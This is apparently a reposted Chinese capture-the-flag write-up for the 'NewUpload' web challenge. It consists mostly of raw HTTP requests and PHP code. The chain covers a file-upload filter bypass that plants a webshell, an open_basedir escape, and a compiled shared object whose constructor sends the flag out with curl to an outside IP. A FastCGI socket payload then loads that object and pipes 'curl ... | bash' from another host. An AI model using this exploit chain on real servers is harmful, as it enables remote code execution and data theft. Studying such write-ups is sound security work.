文章来源:EDI安全
POST /sandbox/i9pkda6liup7jd81uouov1agud/index.php HTTP/1.1
Host: upload.f28a18.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------31678586230937453831944973480
Content-Length: 561
Origin: http://upload.f28a18.challenge.gcsis.cn
Connection: close
Referer: http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/index.php
Cookie: PHPSESSID=i9pkda6liup7jd81uouov1agud; dasctf_sign_cookie=19a5c3663736071e6e03dec07fccc64a; dasctf_sign_javascript=ac0efff678a5740be048702812fb377a
Upgrade-Insecure-Requests: 1
-----------------------------31678586230937453831944973480
Content-Disposition: form-data; name="file"; filename="14.
p
h
p"
Content-Type: image/jpeg
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%system32shell32.dll,-21770
IconResource=%SystemRoot%system32imageres.dll,-112
IconFile=%SystemRoot%system32shell32.dll
IconIndex=-235
0]($_GET[1]); phpinfo(); $_GET[
-----------------------------31678586230937453831944973480--
读取index 没啥东西
http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/upload/15.php?0=readfile&1=../index.php&dir=.
有open_basedir限制 先绕一下 读取目录看看
<?php
mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
var_dump(scandir("../../../../../../../../../../../../../".$_GET['dir']));
http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/upload/i.php?dir=../
flag在/flag 读取一下
<?php
mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
echo file_get_contents($_GET['file']);
直接读flag没权限
readflag 是cat /flag
还是要执行命令 分析下phpinfo发现php-fpm
列tmp目录发现sock文件
参考 https://www.anquanke.com/post/id/186186#h3-5
https://skysec.top/2019/06/10/2019%200ctf%20final%20Web%20Writeup%EF%BC%881%EF%BC%89/
服务器放置so __attribute__ ((__constructor__)) void preload (void)
{
system("curl 123.56.22.0:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so
POST /sandbox/i9pkda6liup7jd81uouov1agud/index.php HTTP/1.1
Host: upload.f28a18.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------31678586230937453831944973480
Content-Length: 1819
Origin: http://upload.f28a18.challenge.gcsis.cn
Connection: close
Referer: http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/index.php
Cookie: PHPSESSID=i9pkda6liup7jd81uouov1agud; dasctf_sign_cookie=19a5c3663736071e6e03dec07fccc64a; dasctf_sign_javascript=ac0efff678a5740be048702812fb377a
Upgrade-Insecure-Requests: 1
-----------------------------31678586230937453831944973480
Content-Disposition: form-data; name="file"; filename="s.
p
h
p"
Content-Type: image/jpeg
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%system32shell32.dll,-21770
IconResource=%SystemRoot%system32imageres.dll,-112
IconFile=%SystemRoot%system32shell32.dll
IconIndex=-235
<?
mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
//var_dump(scandir("../../../../../../../../../../../../../tmp"));
echo copy("http://123.56.22.0:9999/hpdoger.so","/tmp/sky.so");
$fp = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'
?>
-----------------------------31678586230937453831944973480--
访问
http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/upload/s.php
推荐文章++++
本文始发于微信公众号(黑白之道):西湖论剑Web之NewUpload
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论